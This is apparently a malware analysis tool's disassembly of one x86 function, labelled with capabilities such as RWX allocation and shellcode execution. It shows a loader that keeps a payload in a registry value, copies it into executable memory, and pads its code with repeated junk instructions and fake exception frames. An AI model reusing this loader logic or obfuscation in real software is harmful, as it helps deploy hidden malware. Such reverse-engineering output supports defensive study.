Function at 0x405130
Capabilities:
Allocate or change rwx memory
Delete registry value
Execute shellcode via indirect call
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40f350
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xa70
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov dword [ebp - 0x10], esp
mov edi, ecx
push 0x19
mov dword [ebp - 0x1c], edi
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
mov eax, dword [ebp + 8]
cmp byte [eax], 0xc9
je 0x4065dd
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
cmp dword [ebp + 0xc], 0x65
push 0x19
jne 0x405e27
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push 0x19
mov dword [ebp - 0x20], 3
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push 0x19
mov dword [ebp + 0xc], 0
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
lea eax, [ebp - 0x18]
push eax
push 0x20019
push 0
push str.Console0
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x405c32
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
lea eax, [ebp + 0xc]
push eax
push 0
lea eax, [ebp - 0x20]
push eax
push 0
push str.d33f351a4aeea5e608853d1a56661059
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [ebp + 0xc], 0xa44
jbe 0x405b31
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push dword [ebp + 0xc]
call fcn.0040e586
add esp, 4
mov edi, eax
mov dword [ebp - 0x14], edi
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push dword [ebp + 0xc]
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 0x20]
push eax
push 0
push str.d33f351a4aeea5e608853d1a56661059
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x4065f0
jmp 0x405ab2
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
mov edi, dword [ebp - 0x1c]
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
mov eax, dword [ebp + 8]
mov ecx, 0x416404
inc eax
nop dword [eax + eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x405c66
test dx, dx
je 0x405c62
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x405c66
add eax, 4
add ecx, 4
test dx, dx
jne 0x405c40
xor eax, eax
jmp 0x405c6b
sbb eax, eax
or eax, 1
push 0x19
test eax, eax
je 0x405da1
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
cmp dword [0x4161f0], 0
je 0x406826
jmp 0x40670b
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
mov ecx, edi
call fcn.00404cf0
jmp 0x406561
mov esi, dword [ebp + 8]
mov ecx, 0x291
inc esi
mov edi, 0x4161f8
rep movsd dword es:[edi], dword [esi]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push 0x40
push 0x3000
push dword [0x416400]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x19
mov dword [0x4161f0], eax
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push dword [0x416400]
mov eax, dword [ebp + 8]
add eax, 0xa45
push eax
push dword [0x4161f0]
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
mov edi, dword [0x416400]
add edi, 0xa44
push 0x19
mov dword [ebp - 0x14], edi
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push edi
call fcn.0040e586
add esp, 4
mov edi, eax
mov dword [ebp + 0xc], edi
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
mov ecx, 0x291
mov esi, 0x4161f8
rep movsd dword es:[edi], dword [esi]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push dword [0x416400]
mov edi, dword [ebp + 0xc]
push dword [0x4161f0]
lea eax, [edi + 0xa44]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
lea eax, [ebp + 8]
push eax
push str.Console0
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x4063d3
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push str.d33f351a4aeea5e608853d1a56661059
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push dword [ebp - 0x14]
push edi
push 3
push 0
push str.d33f351a4aeea5e608853d1a56661059
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call fcn.0040e581
add esp, 4
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
mov ecx, dword [ebp - 0x1c]
call fcn.00404cf0
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
